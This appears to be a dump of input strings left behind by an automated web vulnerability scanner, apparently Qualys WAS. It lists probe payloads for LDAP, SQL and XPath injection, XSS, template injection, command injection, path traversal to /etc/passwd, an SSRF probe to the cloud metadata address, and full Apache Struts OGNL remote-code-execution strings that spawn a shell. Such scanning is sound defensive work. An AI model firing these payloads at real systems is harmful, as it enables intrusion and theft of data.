Joe+ bcc:was_engine@71409ea5de80c012e106c2e630714fa08d2b9190.19786663393642422.3023058664.smtphi01.smtp.eu2.qualysperiscope.com.

1

1)(|(uidNumber=*)

1

1)(|(gidNumber=*)

1

1)(|(homeDirectory=*)

1

1)(|(uid=*)

1

1)(|(objectclass=*)

1

1*

1

1)(|(cn=*))

1

1*(|(objectclass=*))

1

1)(uid=*))(|(uid=*

1

1)(attribute2=*)

1

QualysWAS${150797*150797}QualysWAS

1

${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}

1

QualysWAS${"150898".toString().replace("8", "7")}QualysWAS

1

https://community.qualys.com/

1

http://169.254.169.254/latest/meta-data/

1

function(){qxssvuPMEp0Q};

1

qualyswas:

1

(23.0231*213.759)

1

;echo 23.0231*213.759;//{@math key=4335.158242899999 method="add" operand=586.23659/} /* #set($value=23.0231*213.759) $value */

1

1

|aaaa =(23.0231*213.759) |${23.0231*213.759}{23.0231*213.759}4921.3948329(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}

1

!@#$%^&*()

1

!@#$%^&*()1

1

1!@#$%^&*()

1

1

1

"-qxssZuY986TO()-"

1

'-qxss3PmX2OSy()-'

1

*/;(function(){qxssBk71Mj0W});/*

1

9 ;(function(){qxssTRGd6jsy});//

1

9;(function(){qxssf1g8Eyj7});//

1

';(function(){qxssThn7n35h});/**/'

1

qualys(aqxssHLzahDx0)xyz

1

");(function(){qxsssc78u82S});/**/"

1

";(function(){qxssuEQjTfO3});/**/"

1

javascript:qxss(X139625025332880Y1_2Z);

1

http://rfitest/

1

|netstat -an

1

a(){}phpinfo(); function a

1

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q2d1hi3j').(#str3='B4D7e6').(#str=#str2+':QQ:'+#str1+':PP:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

1

%25{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

....//....//....//....//....//....//etc/passwd

1

php://filter/read=string.rot13/resource=/etc/passwd

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

//....//....//....//....//....//....//....//etc/passwd

1

//..//..//..//..//..//..//..//etc/passwd

1

../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

1

1e309

1

(

1

,

1

``

1

/*

1

#

1

;--

1

1'

1

qualyswasesi

1

q Qualys_resp_hdr_injection: Vulnerable

1

q Qualys_resp_hdr_injection: Vulnerable

1

q Content-Type:text/html Content-Length: 190 HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: a=q Content-Length: 2 AA

1

111222

1

1

1

%3cscript z%3e_q(y)%3c/script%3e

1

< script a=4>qsso8lHkGle=7< /script>

1

" onEvent=X139625025332880Y1_2Z

1

' onEvent=X139625025332880Y1_2Z

1

"'>

1

1

BODY{background:url("javascript:qsssr8oS2It=7")}

1

1">

1

1

1

"'>

1

1

1

1

1 _q_q=random(3PGzJD6Y)

1

_q=random(X139625025332880Y1_2Z)

1

_q=random(X139625025332880Y1_2Z)

1

"'>

1

z-->

1

1"'>

1

">

1

javascript:qxss(X139625025332880Y1_2Z);

1

" onEvent=X139625025332880Y1_2Z

1

' onEvent=X139625025332880Y1_2Z

1

_q=random(X139625025332880Y1_2Z)

1

"'>

1

1

1(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))

1

require('child_process').execSync('sleep 29').toString()

1

__import__('os').popen('sleep 29').read()

1

1' + sleep(29*100*Math.sqrt(100)) + '

1

1'; var djci=sleep(29*1000) + '

1

1'; var djci=sleep(29*1000);//

1

1' OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND 'qualys'='qualys

1

1' WHERE 1337=1337 AND (SELECT 1319 FROM (SELECT(SLEEP(29)))qualys)-- prime

1

1(SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333) /*'XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR'|"XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR"*/

1

1;SELECT sleep(29); --

1

1' + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + '

1

1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)

1

1',0,0);WAITFOR DELAY'00:00:29'--

1

1');WAITFOR DELAY '00:00:29'--

1

1';WAITFOR DELAY '00:00:29'--

1

1);WAITFOR DELAY '00:00:29'--

1

1;WAITFOR DELAY '00:00:29';

1

1WAITFOR DELAY '00:00:29'

1

|ping -c2 -i91 localhost|

1

|ping -c2 -i56 localhost

1

ping -c2 -i91 localhost

1

aaaa&ping -n 92 localhost&

1

1

1

1

1

1" and not(true()) or "false" = "true

1

1" or not(false()) or "true" = "true

1

1" and false() and "or" = "and

1

1" or true() or "and" = "and

1

1 and not(true()) or 'false' = 'true'

1

1 or not(false()) or 'true' = 'true'

1

1 and false() and 'or' = 'and'

1

1 or true() or 'and' = 'and'

1' and not(true()) or 'false' = 'true

1' or not(false()) or 'true' = 'true

1

1' and false() and 'or' = 'and

1

1

1

1' or true() or 'and' = 'and

15 oR 9=9 + 1

15 oR 9=8 + 1

1

11 or 11=12

1

1

1

11 or 11=11

1

1

1' /* or __Q_1__ */aND ' oR mktrs'=' aND ljhgy

1

1' /* or __Q_1__ */oR ' aND xqlkp'=' aND xqlkp

1' and 'tpklq'='xqlkp

1

1' or 'tpklq'='tpklq

1

1

1') /* or __Q_1__ */aND ' oR tyhjg'=' aND tyhgd

1

1') /* or __Q_1__ */oR ' aND ptqws'=' aND ptqws

1') and 'swqtp'='ptqws

1

1') or 'swqtp'='swqtp

1

1 aND 7248=2491 + 4756

1

1 aND 7248=2491 + 4757

1

1 and 7248 IS NULL

1

1 and NULL IS NULL

1

1 oR 6248=2491 + 3756

1